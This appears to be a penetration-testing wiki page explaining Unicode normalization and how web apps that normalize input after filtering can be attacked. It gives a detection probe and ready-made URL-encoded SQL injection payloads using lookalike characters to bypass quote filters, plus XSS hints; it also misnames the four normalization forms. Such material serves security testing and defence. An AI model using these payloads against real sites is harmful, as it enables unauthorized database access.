# Unicode Normalization
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## Background Normalization ensures two strings that may use a different binary representation for their characters have the same binary value after normalization. There are two overall types of equivalence between characters, “**Canonical Equivalence**” and “**Compatibility Equivalence**”:\ **Canonical Equivalent** characters are assumed to have the same appearance and meaning when printed or displayed. **Compatibility Equivalence** is a weaker equivalence, in that two values may represent the same abstract character but can be displayed differently. There are **4 Normalization algorithms** defined by the **Unicode** standard; **NFC, NFD, NFKD and NFKD**, each applies Canonical and Compatibility normalization techniques in a different way. You can read more on the different techniques at Unicode.org. ### Unicode Encoding Although Unicode was in part designed to solve interoperability issues, the evolution of the standard, the need to support legacy systems and different encoding methods can still pose a challenge.\ Before we delve into Unicode attacks, the following are the main points to understand about Unicode: * Each character or symbol is mapped to a numerical value which is referred to as a “code point”. * The code point value (and therefore the character itself) is represented by 1 or more bytes in memory. LATIN-1 characters like those used in English speaking countries can be represented using 1 byte. Other languages have more characters and need more bytes to represent all the different code points (also since they can’t use the ones already taken by LATIN-1). * The term “encoding” means the method in which characters are represented as a series of bytes. The most common encoding standard is UTF-8, using this encoding scheme ASCII characters can be represented using 1 byte or up to 4 bytes for other characters. * When a system processes data it needs to know the encoding used to convert the stream of bytes to characters. * Though UTF-8 is the most common, there are similar encoding standards named UTF-16 and UTF-32, the difference between each is the number of bytes used to represent each character. i.e. UTF-16 uses a minimum of 2 bytes (but up to 4) and UTF-32 using 4 bytes for all characters. An example of how Unicode normalise two different bytes representing the same character: ![](<../../.gitbook/assets/image (156).png>) **A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) ### Discovering If you can find inside a webapp a value that is being echoed back, you could try to send **‘KELVIN SIGN’ (U+0212A)** which **normalises to "K"** (you can send it as `%e2%84%aa`). **If a "K" is echoed back**, then, some kind of **Unicode normalisation** is being performed. Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode** is `Leonishan`. ## **Vulnerable Examples** ### **SQL Injection filter bypass** Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user. Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears: ![](<../../.gitbook/assets/image (157) (1).png>) **Some interesting Unicode characters** * `o` -- %e1%b4%bc * `r` -- %e1%b4%bf * `1` -- %c2%b9 * `=` -- %e2%81%bc * `/` -- %ef%bc%8f * `-`-- %ef%b9%a3 * `#`-- %ef%b9%9f * `*`-- %ef%b9%a1 * `'` -- %ef%bc%87 * `"` -- %ef%bc%82 * `|` -- %ef%bd%9c ``` ' or 1=1-- - %ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3 " or 1=1-- - %ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3 ' || 1==1// %ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f " || 1==1// %ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f ``` ### XSS (Cross Site Scripting) You could use one of the following characters to trick the webapp and exploit a XSS: ![](<../../.gitbook/assets/image (312) (1).png>) Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e` ![](<../../.gitbook/assets/image (215) (1).png>) ## References **All the information of this page was taken from:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/) **Other references:** * [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) * [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) * [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
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